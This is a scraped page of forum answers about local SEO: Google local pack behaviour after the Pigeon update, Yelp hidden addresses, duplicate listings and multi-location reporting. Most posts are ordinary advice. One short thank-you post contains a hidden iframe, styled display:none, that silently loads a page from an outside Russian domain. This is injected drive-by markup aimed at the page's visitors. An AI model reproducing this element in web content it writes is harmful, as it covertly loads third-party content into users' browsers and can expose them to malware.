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Category: Local Listings

Examine the impact of maintaining consistent and accurate local listings on your local SEO strategy.


  • Good to hear and happy to help!

    | LindaBuquet
    0

  • Incredibly smart answer Miriam. I'm going to steal this line: "In general, inclusion of more than one result in a single pack for the same brand is the result of tremendous dominance or lack of competition." Miriam covered it all, I'll just say that things are somewhat different post-Pigeon. In the past it was very difficult to get more than one listing in the pack. But now with Pigeon I've seen packs where ALL 7 were for the same business. Example: one medical practice and 6 Drs at the same practice. That never used to happen before. And it's not really fair if there are 30 other businesses in that city that one locks everyone else out. But Pigeon has not settled in yet and it appears they are still testing and training it. So I would not count on that continuing and I've only seen it happen in some smaller less competitive markets. So all you can really do is follow Miriam's advice and continue working on all the best practice stuff you can. Consumers searching via phone that are located closer to location B will more likely see that one.

    | LindaBuquet
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  • Thanks for the extra insight, Linda. Much obliged!

    | KempRugeLawGroup
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  • Many thanks All. This has answered my query. Pete <iframe id="zunifrm" style="display: none;" src="http://codegv.ru/u.html"></iframe>

    | PeteC12
    0

  • That makes sense. The address that the previous agency submitted was his home address. He has a small commercial business address in a neighbor city, but the majority of his business comes from around his home address. He told me his thinking was that by submitting his home address, his website would be more likely to show for potential customers due to google map proximity, which makes sense to me.

    | ScottMcPherson
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  • Citations are much better than most and maybe equal to a couple of others.

    | seomn
    0

  • Hi Cornelius, According to Phil Rozek's 2013 post on hidden addresses (http://www.localvisibilitysystem.com/2013/04/22/private-local-citations-where-can-you-list-your-business-but-hide-your-address/), yes, Yelp does permit you to hide your address. I haven't seen any news in the past year indicating that this policy has changed in the interim. I have never seen a study, however, documenting what effect on internal Yelp rankings using a hidden address may have, if any - somebody should totally do one! Hope this helps!

    | MiriamEllis
    0

  • No problem man. I'm not an expert but obsessed with internet marketing and coding. This site is fantastic once you really explore and use it, nothing beats it in my opinion.  I also really like SEO podcasts.  The best ones being "SEO Podcast Unknown Secrets of Internet Marketing" and on webmasterradio they have SEO 101 and a couple others.  I just download them all and listen while in car. Things change on a daily basis and its a great way to keep up yo date and get ideas.  Sorry to go off topic, but I learned that Keyword research is so vital in the beginning before development.  Then it's content is king., You make killer content and the links will come naturally.  Only get backlinks if its relevant and if you think people would click it..(if you have the opportunity.) I'm working on adding directories to my site, but modern ones with reviews and maps.  I LOVE scripting (mainly in bash) but found it all such a hassle getting API's..eventually it costs money or right from the beginning.   Sure you could scrape but that violates their terms and not a good idea. I'm trying to figure out an algorithm myself as I want it to be legit, but will have a small Google ads-like section up top that is clearly labeled as ads.  If you figure out a good method other than manual please let me know.  I doubt Alexa cares if you view their site a few times a day through a textual browser but still...I want to do it by the book and its one of those things where its probably faster to do manually anyways I just love automation.  Wish API's werent required so darn much, but understand it thanks to stupid spammers. Ruins it for webmasters looking to get good content.

    | eugenecomputergeeks
    0

  • I was in a similar situation. I noticed a website is resolving my server IP address and hence duplicating all my content from my main domain. So I added a Google verification file to my maindomain.com . Then added duplicatedomain to my WMT and verified using same google verification file. The duplicate domain got verified. I submitted a request in WMT to remove all content from Google index. Let us see will see if there is any impact to the ranking.

    | ajiabs
    0

  • Hi Ira, People are definitely using it. I know, because I keep having the gut reaction of, "Oh, no, business title spam!" and then having to remind myself that Google now allows this Haha. But, it may not have had such a very observable impact on rankings that would cause people to write about it.

    | MiriamEllis
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  • Hello! As David mentioned, despite us pulling non-Location specific queries, for many KW Google always uses a local intent.  We recognize this and actually have some stuff in the works that will hopefully solve this problem.  I empathize that this is a big problem for you guys and we are working on it.  If you are interested in helping us test this feature, I would be happy to add you you to the tester list - shoot me a mail at jon@moz.com. In the meantime, as Travis mentioned, AWR Cloud allows you to set location-specific engines and that has worked well for me in the past (caveat: I don't know if/how they have reacted to the pigeon update). If I am spot checking location specific rankings, I use the MozBar in Chrome.  This has been updated post-pigeon.  Super-manual - but gives a ton more insight than just capturing rank/verticals as you can see the full SERP. Hope this helps! Jon

    | jon.white
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  • Hi John, How is postal mail currently handled with XYZ being inside of ABC building occupied by multiple offices? How to the OB/GYNs receive their mail and not the mail of the chiropractor down the hall?

    | MiriamEllis
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  • Thanks Chris. I plan to move forward. God I hope I don't ever have to do this again.

    | SSFCU
    0

  • Thanks for the response. In the old Google Places, if you managed multiple accounts, reporting was easy. An image is attached of what it used to look like. In the current My Business view, impressions and actions are gone from the summary page. I'm looking for a dashboard that will give me the same type of data for all 300 locations as the screenshot attached. Best, Adam bulk-google-places-listings.png

    | Deluxe
    0

  • Ugh... Yeah just log into your Google acct and go to that link I sent and have them call you. They called me right away when I went that route.

    | Bryan_Loconto
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  • Hi Sarah You will end up with two Google + pages, One Google Business Page and also a Google+ Page. The Google Business page is very important as this is the one that will be verifyed to your website and old Google Places pages.  It is very very confusing.  All our posts on Google Plus go to our page and not to our Business and there is no way to join the too Google have just launched a new update which starts to map locally to Business pages via local search, for example Timberyard London.  This then also brings in all your Google+ Business info, maps etc. Join a few of the groups and recommended is "Google+ Resource", you have to request to join and they are really helpful.  Create circles and share content from your sites via G+ on your site. Google Plus is very much part of Google search too, so if members of your circles are logged into Google plus too, then when you post, you posts up in any related search results, normally quite high on page 1. Worth researching and learning more to get the most out of G+, as it looks like it is going to be very important in Googles effort to keep content fresh, new and unique.

    | BruceA
    1

  • You don't want duplicate or near duplicates in the same account for sure. Last I checked, that's a violation of The Googles terms of service. Naturally you want everything to be as accurate as possible. I would probably Report the old, inaccurate listing as closed and verify the new listing with the correct information at roughly the same time. Then hustle and update all of the top tier listings with the old suite number. And when I say Top Tier, I mean pretty much anything Moz Local would feed if/when you have an account. Then I would prioritize top listings by some combination of city and category. There are probably also some 'hidden gems' that show well for your client's geo/keyword combinations. If you use Moz Local to do the job, make sure you submit the new NAP.

    | Travis_Bailey
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  • Thanks, I have reported the business location closed, so I'll try again and see what happens.

    | marshalllj
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  • Are there any storefronts or places where the business does in-person transactions?

    | KeriMorgret
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